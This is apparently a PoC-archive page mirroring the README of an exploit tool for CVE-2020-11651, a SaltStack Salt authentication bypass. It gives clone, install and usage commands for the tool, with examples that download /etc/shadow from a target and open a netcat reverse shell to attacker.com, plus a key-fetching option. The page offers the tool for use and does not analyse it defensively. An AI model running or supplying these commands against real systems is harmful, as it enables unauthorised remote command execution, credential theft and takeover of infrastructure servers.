Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2020-11651 PoC — SaltStack Salt 安全漏洞

Source
Associated Vulnerability
Title:SaltStack Salt 安全漏洞 (CVE-2020-11651)
Description:SaltStack Salt是SaltStack公司的一套开源的用于管理基础架构的工具。该工具提供配置管理、远程执行等功能。 SaltStack Salt 2019.2.4之前版本和3000.2之前的3000.x版本中存在安全漏洞,该漏洞源于salt-master进程的ClearFuncs类没有正确验证方法的调用。远程攻击者可利用该漏洞检索用户令牌或执行任意命令。
Description
CVE-2020-11651: Proof of Concept
Readme
# CVE-2020-11651

An issue was discovered in SaltStack Salt before 2019.2.4 and 3000 before 3000.2. The salt-master process ClearFuncs class does not properly validate method calls. This allows a remote user to access some methods without authentication. These methods can be used to retrieve user tokens from the salt master and/or run arbitrary commands on salt minions.

[Details](https://www.suse.com/security/cve/CVE-2020-11651/)

[Patches](https://github.com/rossengeorgiev/salt-security-backports) for unspported salt versions

## Install

    git clone https://github.com/0xc0d/CVE-2020-11651.git ~/CVE-2020-11651
    chmod +x ~/CVE-2020-11651/PoC.py

## Usage

    $ ~/CVE-2020-11651/PoC.py -h
    usage: PoC.py [-h] --host HOST [--port PORT] [--execute COMMAND] [--upload src dest] [--download src dest] [--minions] [--quiet] [--fetch-key-only]

    CVE-2020-11651 PoC

    optional arguments:
      -h, --help            show this help message and exit
      --host HOST, -t HOST
      --port PORT, -p PORT
      --execute COMMAND, -e COMMAND
                            Command to execute. Defaul: /bin/sh (use netcat for reverse shell)
      --upload src dest, -u src dest
                            Upload a file
      --download src dest, -d src dest
                            Download a file
      --minions             Send command to all minions on master
      --quiet, -q           Enable quiet/silent mode
      --fetch-key-only      Only fetch the key

## Example

#### Download shadow file
    ./PoC.py --host target.com --download /etc/shadow ./shadow
    
#### Run a reverse shell
    nc -nvl attacker.com 9999
    ./PoC.py --host target.com --execute "nc attacker.com 9999 -e \"/bin/sh\""
   
#### Fetch the key
    ./PoC.py --host target.com --fetch-key-only
File Snapshot

[4.0K] /data/pocs/ac952364a636333cb1b30b22e8291843db47bea5 ├── [6.0K] PoC.py └── [1.7K] README.md 0 directories, 2 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. If the original source is unavailable, please email f.jinxu#gmail.com for a local snapshot (replace # with @).
    3. Shenlong has snapshotted the POC code for you. To support long-term maintenance, please consider donating. Thank you for your support.